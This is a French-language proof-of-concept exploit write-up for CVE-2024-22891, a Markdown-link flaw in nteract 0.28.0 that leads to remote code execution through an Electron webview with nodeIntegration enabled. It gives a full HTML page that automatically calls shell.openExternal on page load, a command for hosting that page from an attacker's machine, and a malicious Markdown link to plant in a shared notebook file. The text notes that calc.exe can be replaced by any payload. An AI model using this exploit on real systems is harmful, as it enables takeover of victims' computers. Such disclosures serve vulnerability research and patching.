
nteract 0.28.0 open redirect to RCE exploit
Une preuve de concept pour la vulnérabilité CVE-2024-22891.
nteract 0.28.0 permet une vue web Electron via un lien Markdown, avec une exécution de code à distance résultante.
nteract 0.28.0 permet une vue web Electron via un lien Markdown, avec une exécution de code à distance résultante (car nodeIntegration dans webPreferences est vrai).
Explication de l'exploit
Étape 1) L'attaquant crée un serveur avec le code source pour lancer calc.exe en utilisant la fonction openExternal().
<html>
<head>
<title>jruru Link</title>
</head>
<body>
<a id="jruruLink">jruru Link</a>
<script>
// Script function definition
function openExternal() {
try {
const { shell } = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe');
} catch(e) {
alert('JRURU - External link cannot be opened.');
console.error(e);
}
}
// Automatically execute openExternal function after the page is loaded
document.addEventListener('DOMContentLoaded', function() {
openExternal();
});
</script>
</body>
</html>
Remarque : ※ Si vous voulez le tester rapidement, créez un serveur sur le PC de l'attaquant avec le code suivant.
$ python -m http.server 80
Étape 2) Exécutez l'application nteract sur le système de la victime et créez un lien Markdown, ou partagez le fichier ipynb de l'attaquant comme exemple de code. Ensuite, exécutez calc.exe.
[Read This] (http://[attcker_adress]/shard_data.html)

Lors de l'exécution d'un fichier .ipynb via le partage de fichiers, soyez prudent car le lien peut ne pas être visible. Ce calc.exe aurait pu être n'importe quelle charge utile malveillante locale ou distante qui aurait pu donner à l'attaquant un accès complet au système de la victime.